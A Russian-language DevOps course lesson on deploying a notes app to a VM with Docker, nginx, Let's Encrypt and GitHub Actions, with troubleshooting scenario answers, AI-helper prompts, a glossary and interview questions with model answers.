Сценарий 1 (certbot, Timeout during connect). Запрос Let’s Encrypt не достаёт до 80/tcp. Проверка: curl -m 5 http://notes.example.com/ снаружи (с ноутбука, не с ВМ) зависает, а dig показывает верный IP, то есть DNS в порядке. Причина: порт 80 закрыт файрволом. В реальной жизни это чаще всего правило в security group облака (или ufw). Скрипт поломки для наглядности ставит правило DROP на самой ВМ, и симптом тот же. Починка в жизни: правило входящего 80/tcp из 0.0.0.0/0 в security group, sudo ufw status, затем повторить certbot --dry-run. После fix симптом уходит.

Сценарий 2 (Permission denied (publickey)). ssh -v покажет, какие ключи предлагаются и что сервер их отвергает. Причина здесь: файл authorized_keys доступен на запись всем (права 666), и sshd из-за режима StrictModes отказывается ему верить. Обрати внимание: содержимое файла верное, а вход не работает. Другие частые причины: в секрете не тот ключ; каталог ~/.ssh не 700; неверный владелец; пользователь заблокирован. Починка: chmod 700 ~/.ssh, chmod 600 ~/.ssh/authorized_keys, chown -R deploy:deploy /home/deploy/.ssh, затем перезапустить job. Менять сразу три вещи в ходе расследования нельзя: потом не поймёшь, что помогло.

Сценарий 3 (502 после деплоя). nginx жив, приложение недоступно ему по сети. docker compose ps показывает notes в статусе Up, поэтому «упало» не подходит. Логи notes покажут started host=127.0.0.1 port=8080: приложение слушает только loopback внутри контейнера, и nginx до него не достучится (урок 4.2). Другие причины 502: неверный DATABASE_URL в .env (тогда notes перезапускается), несовместимая версия, nginx кэширует IP пересозданного контейнера (лечится resolver и переменной в proxy_pass, см. теорию). Быстрая починка: откат deploy.sh <предыдущий тег>, потом разбор без давления.

ИИ в помощь

Нейросеть хорошо читает конфиги и логи и объясняет ошибки, но не видит твой DNS, порты и сертификат: проверять факты придётся тебе. Не отправляй ей приватные ключи, пароли и содержимое .env. Общие правила: ИИ-помощник.

Задача: разобрать отказ certbot.

certbot на ВМ пишет: Timeout during connect (likely firewall problem) для notes.<домен>.
Вот мой конфиг nginx и вывод dig +short A notes.<домен>: <вставь>.
Назови три места, где может быть причина, по убыванию вероятности, и по одной проверочной команде для каждого.

Проверь ответ: для HTTP-01 нужны A-запись на эту ВМ, порт 80 в security group и nginx, отдающий каталог webroot. Если нейросеть предлагает открыть 443 или перевыпустить сертификат с другими ключами, это мимо. Каждую проверку (dig, curl -I http://...) выполни сам.

Задача: ревью скрипта деплоя.

Проверь скрипт deploy.sh: порядок pull и up -d, обработку ошибок, откат на прежний тег, smoke-test.
Найди места, где скрипт при сбое оставит сервис остановленным. Предложи минимальные правки.
<вставь текст скрипта без паролей>

Проверь ответ: сверь с теорией: pull до up -d, set -euo pipefail, запоминание прежнего тега в файле, проверка по домену. Правки применяй сам и прогони скрипт на неверном теге: сервис должен остаться на старой версии.

Задача: посчитать бюджет простоя.

SLA 99.9% за 30 дней. За месяц было три неудачных деплоя: 10, 15 и 20 минут простоя.
Посчитай бюджет простоя, фактическую доступность и предложи, что изменить в процессе деплоя.

Проверь ответ: пересчитай сам: 43200 минут, бюджет 43,2 минуты, простой 45 минут, доступность около 99,896%. Нейросети часто путают 30 и 31 день и 99,9% с 99,99%.

Словарик урока

Термин Простыми словами
Реестр образов (registry) Склад готовых Docker-образов, у нас ghcr.io
Тег образа (tag) Этикетка версии образа, например 0.4.1
Зона DNS (zone) Набор DNS-записей одного домена у DNS-хостинга
A-запись Строка DNS, связывающая имя с IPv4-адресом
TTL Сколько секунд резолверам разрешено помнить ответ DNS
Резолвер (resolver) Программа или сервер, который спрашивает DNS за тебя
Сертификат Подписанный файл: «этот ключ принадлежит этому домену»
Центр сертификации (CA) Организация, чья подпись на сертификате признаётся браузерами
Let’s Encrypt Бесплатный центр сертификации
ACME Протокол, по которому программа сама получает и продлевает сертификат
certbot Программа-клиент ACME, получает и продлевает сертификаты
webroot Режим certbot: файл-токен кладётся в каталог, который отдаёт nginx
HTTP-01, DNS-01 Два способа доказать, что домен твой: файл на порту 80 или TXT-запись
Wildcard-сертификат Один сертификат на все поддомены (*.example.com)
deploy-hook Команда, которую certbot выполняет после выдачи или продления сертификата
Rate limit Лимит запросов, после которого сервис временно блокирует
Обратный прокси (reverse proxy) Сервер на входе, передающий запросы приложению внутри сети
Терминация TLS Расшифровка HTTPS на входе, дальше внутри сети идёт обычный HTTP
HSTS Заголовок: браузер должен ходить на сайт только по HTTPS
Идемпотентность Повторный запуск даёт тот же результат и ничего не ломает
Smoke-test Короткая проверка работающего сервиса сразу после выкладки
Откат (rollback) Возврат к предыдущей рабочей версии
Раннер (runner) Машина, на которой выполняется workflow GitHub Actions
GitHub Secrets Хранилище секретов репозитория: значения скрыты в логах
known_hosts Файл отпечатков серверов, защищает SSH от подмены сервера
Environment (GitHub) Именованное окружение с собственными секретами и подтверждением запуска
SPOF Единая точка отказа: её поломка останавливает весь сервис
SLA Обещанная доля времени, когда сервис доступен
Blackbox-проверка Проверка сервиса снаружи, как это делает пользователь
Регистратор (registrar) компания, которая продаёт право пользоваться доменом; записи правят там, куда указывают NS
NS (name server) сервер имён: хранит зону домена и отвечает на вопросы DNS
Деплой (deploy) доставка новой версии программы на сервер, где она работает

Вопросы с собеседований

Раздел для повторения: ответь вслух, потом открой ответ. Короткие вопросы с пометкой [на скорость] тренируй на время: ответ за 30 секунд.

1. [junior] [часто] Ты поднял сервис на ВМ, по IP открывается, по домену нет. Что проверишь?

Ответ

Иду по слоям. dig +short двумя резолверами: записи нет или IP другой, значит DNS (и смотрю TTL, если недавно меняли). Если IP верный, curl -v --resolve домен:443:IP, чтобы отделить DNS от сервиса. Дальше openssl s_client (сертификат на это имя), потом nginx server_name: без совпадения имени ответит default server.

Что хотят услышать: порядок по слоям, два резолвера, TTL, --resolve, server_name.

Красный флаг: «перезагружу сервер» или «пробую все команды подряд».

2. [junior] [часто] После деплоя сервис отвечает 502. Действия?

Ответ

Первое: откатить на предыдущий тег, если он известен и пользователи страдают, потом разбираться. Затем docker compose ps, логи proxy и notes. Если notes перезапускается, читаю причину в логах (конфиг, БД). Если жив, но nginx ходит на старый IP, нужен resolver.

Что хотят услышать: сначала восстановить, потом анализ; ps и логи; кэш IP в nginx.

Красный флаг: править конфиг в контейнере на живую, без отката и записи, что изменено.

3. [middle] certbot пишет Timeout during connect (likely firewall problem). Причины?

Ответ

Let’s Encrypt не достучался до 80/tcp по A-записи домена. Проверяю: куда указывает A-запись, пускает ли 80 security group облака, слушает ли порт nginx, не режет ли ufw. Проверку делаю снаружи, потому что с самой ВМ всё выглядит хорошо. Отлаживаю через --dry-run, чтобы не упереться в лимиты.

Что хотят услышать: HTTP-01 идёт на порт 80, облачный файрвол отдельно от ufw, проверка снаружи, лимиты.

Красный флаг: «открою все порты» или «поставлю сертификат вручную».

4. [middle] В проде истёк сертификат Let’s Encrypt, хотя стоял certbot. Как разбираешь и как не допустить повторения?

Ответ

Сначала восстановить сервис: certbot renew, reload nginx. Потом причина: таймер certbot.timer выключен, продление падало (порт 80 закрыт, webroot изменился) или deploy-hook не перечитал nginx (сертификат обновился на диске, а процесс держит старый). Предотвращение: certbot renew --dry-run в проверках, алерт на срок сертификата за 14 дней, внешний мониторинг.

Что хотят услышать: deploy-hook и reload, логи /var/log/letsencrypt, мониторинг срока, а не только автоматизация.

Красный флаг: «продлю руками раз в три месяца».

5. [middle] Как задеплоить без простоя на одной ВМ и какие есть ограничения?

Ответ

Полностью без простоя на одной ВМ не получится: up -d пересоздаёт контейнер, пара секунд 502. Влияние снижают быстрым стартом, healthcheck, повтором запросов на клиенте, деплоем в тихое время. Blue/green на одной ВМ возможен (два контейнера, nginx переключает upstream), но ВМ остаётся SPOF, а миграции БД надо делать обратно совместимыми. Настоящее решение: два экземпляра за балансировщиком или Kubernetes.

Что хотят услышать: честное «нет» с обоснованием, blue/green, совместимые миграции, SPOF.

Красный флаг: «у нас без простоя» без объяснения, как.

6. [middle] Где и как хранишь SSH-ключ для деплоя из CI? Что если он утёк?

Ответ

Отдельная пара ключей и пользователь только для деплоя, приватный ключ в секретах CI с привязкой к environment, known_hosts закреплён. При утечке: сразу убрать публичный ключ с ВМ, выпустить новый, проверить логи входов, разобраться, как ключ оказался в логе. Улучшения: ограничить ключ одной командой, пускать только с известных адресов.

Что хотят услышать: отдельный пользователь, отзыв раньше расследования, ограничение по команде.

Красный флаг: личный ключ админа в CI или «ключ лежит в приватном репозитории».

7. [junior] [на скорость] SLA 99.9% это сколько простоя в месяц, и что делать, если единственная ВМ упала в 3 ночи?

Ответ

За 30 дней это около 43 минут. Из одной ВМ такой SLA не построить: любая поломка, обслуживание провайдера или неудачный деплой едят бюджет. По факту: алерт из внешней проверки, перезапуск ВМ, при потере диска восстановление из снапшота и бэкапа. Системно: вторая ВМ или Managed-сервисы и runbook восстановления.

Что хотят услышать: арифметика, SPOF, восстановление из бэкапа, RTO и RPO как ориентир (RTO: за сколько времени сервис нужно вернуть, RPO: данные за какой период допустимо потерять).

Красный флаг: «облако не падает» или отсутствие внешнего мониторинга.

8. [middle] Один и тот же деплой запустили дважды или два разных тега одновременно. Чем это опасно и как защищаешься?

Ответ

Повтор того же тега безопасен, если деплой идемпотентный: up -d ничего не пересоздаёт. Опасен параллельный запуск разных тегов: гонка за состояние и .current-tag. Защита: concurrency в CI, а на ВМ блокировка flock в скрипте (команда, которая не даёт запустить второй экземпляр, пока первый держит файл-замок). Откат тоже идёт через тот же скрипт.

Что хотят услышать: идемпотентность, concurrency, flock, единая точка входа.

Красный флаг: «просто не запускать два раза».

9. [junior] [на скорость] Что такое smoke-test и чем он отличается от healthcheck контейнера?

Ответ

Healthcheck отвечает «процесс внутри жив». Smoke-test проходит весь путь пользователя: DNS, TLS, nginx, приложение, и потому ловит то, чего контейнер не видит (просроченный сертификат, закрытый порт). Он быстрый, с таймаутом и ограниченным числом повторов.

Что хотят услышать: проверка снаружи через полный путь, таймаут и повторы, связь с откатом.

Красный флаг: «docker ps показал Up, значит всё хорошо».

10. [middle] Зачем внешний мониторинг, если на ВМ уже есть healthcheck? Что проверять?

Ответ

С ВМ не видно проблем DNS, сертификата, файрвола и самой ВМ. Внешняя проверка раз в минуту https://домен/healthz с нескольких точек, оповещение после 2-3 неудач подряд, плюс алерт на срок сертификата. Мониторинг должен жить вне проверяемой ВМ.

Что хотят услышать: «снаружи», несколько точек, срок сертификата, независимость от мониторимого.

Красный флаг: мониторинг только на самой ВМ, которая и упала.

11. [middle] Что такое DNS TTL и что делаешь перед сменой IP-адреса сервиса?

Ответ

TTL - время в секундах, в течение которого резолверы кэшируют ответ DNS. Если перенести домен на новый IP при большом TTL, часть пользователей ещё долго ходит на старый адрес. Заранее, за время не меньше старого TTL, снижаю TTL (например, до 60 секунд), потом меняю запись, проверяю dig +short example.com и после стабилизации возвращаю TTL побольше. Старый сервер оставляю работать на время переходного периода.

Что хотят услышать: кэширование, понижение TTL заранее, проверка через dig, старый сервер оставить.

Красный флаг: Поменять запись и ждать, что «всё обновится сразу».

12. [middle] Как откатить деплой на ВМ, если новая версия по тегу сломала сервис?

Ответ

Возвращаю предыдущий тег образа и перезапускаю сервис (например, docker compose up -d с прошлым тегом). Поэтому теги должны быть неизменяемыми и версионными, а не latest, и несколько прошлых образов держу в реестре и на ВМ. Если миграция БД менялась, откат кода не отменит схему: миграции делаю обратно совместимыми. После отката проверяю smoke-тест и логи, а причину разбираю уже спокойно.

Что хотят услышать: неизменяемые теги, предыдущий образ под рукой, совместимость миграций, проверка после отката.

Красный флаг: Деплой только через latest, откатываться нечем.

13. [middle] Чем HTTP-01 challenge в Let’s Encrypt отличается от DNS-01 и когда нужен DNS-01?

Ответ

При HTTP-01 центр сертификации обращается по HTTP на порт 80 моего домена и проверяет файл по пути /.well-known/acme-challenge/. Нужен открытый порт 80 и доступность домена из интернета. При DNS-01 я подтверждаю владение, создав TXT-запись в DNS, поэтому порт открывать не надо. DNS-01 нужен для wildcard-сертификатов (*.example.com) и для сервисов, которые недоступны снаружи. Минус: нужно автоматизировать доступ к API DNS, а токен хранить безопасно.

Что хотят услышать: HTTP-01 через порт 80, DNS-01 через TXT, wildcard только DNS-01, токен DNS как риск.

Красный флаг: Думать, что wildcard выпускается по HTTP-01.

Проверено на версиях

Проверено командами на ноутбуке (без облака и без ВМ):

  • shellcheck на deploy.sh (замечаний нет, кроме информационного «не следую за .env») и на project/notes/break/6.3/break.sh (чисто).
  • yq разобрал deploy.yml, docker compose config принял compose.yml вместе с compose.prod.yml (Docker Compose v5.3.1, !override поддерживается).
  • Docker 29.6.2 (Docker Desktop автора): версии в выводе задания 1.

Не прогонялось (нужны настоящие ВМ, домен и GitHub): установка Docker на ВМ, certbot и Let’s Encrypt, конфиг nginx (nginx -t не запускался), выполнение deploy.sh и workflow, скрипт поломки break.sh (только shellcheck и чтение). Вывод certbot, openssl и deploy.sh в задании показан по документации и типичному формату, значения (издатель, даты) у тебя будут другие.

Версии, на которые рассчитан урок:

  • Ubuntu на ВМ: 26.04 LTS или 24.04 LTS
  • Docker Engine и Compose: версия не закреплена, нужен Compose не ниже 2.24 из-за !override
  • certbot: из репозитория Ubuntu, версия не закреплена
  • nginx: 1.30
  • PostgreSQL: 18
  • actions/checkout: v7.0.1 (номер взят из прежней редакции урока, не сверялся)
  • Образ «Заметок»: 0.4.1 (app.py v4.1)
  • Yandex Cloud CLI yc: версия не закреплена

Итог урока: ты умеешь

  • умею поставить Docker Engine на ВМ из официального apt-репозитория и создать отдельного пользователя для деплоя
  • умею привязать домен к IP ВМ и проверить запись dig двумя резолверами
  • умею получить сертификат Let’s Encrypt через webroot и проверить его openssl s_client
  • умею настроить автопродление и проверить его certbot renew --dry-run с перезагрузкой nginx
  • умею написать идемпотентный deploy.sh со smoke-test и откатом на предыдущий тег
  • умею собрать workflow, который выкатывает релиз по SSH с ключом из секретов
  • умею объяснить, почему одна ВМ это SPOF, и посчитать простой для SLA 99.9%

Дальше: Урок 6.4: Managed-сервисы: PostgreSQL, Kubernetes, балансировщик

Проверь себя

Короткий тест по уроку: 5 вопросов из банка в 30. Засчитывается только полностью правильный ответ, порог 60%. Каждая новая попытка даёт другие вопросы, пока банк не закончится. Ответы видны после проверки.

Тест работает с включённым JavaScript.

тема 6 урок 6.3 4 ч курс 0/0 ← → уроки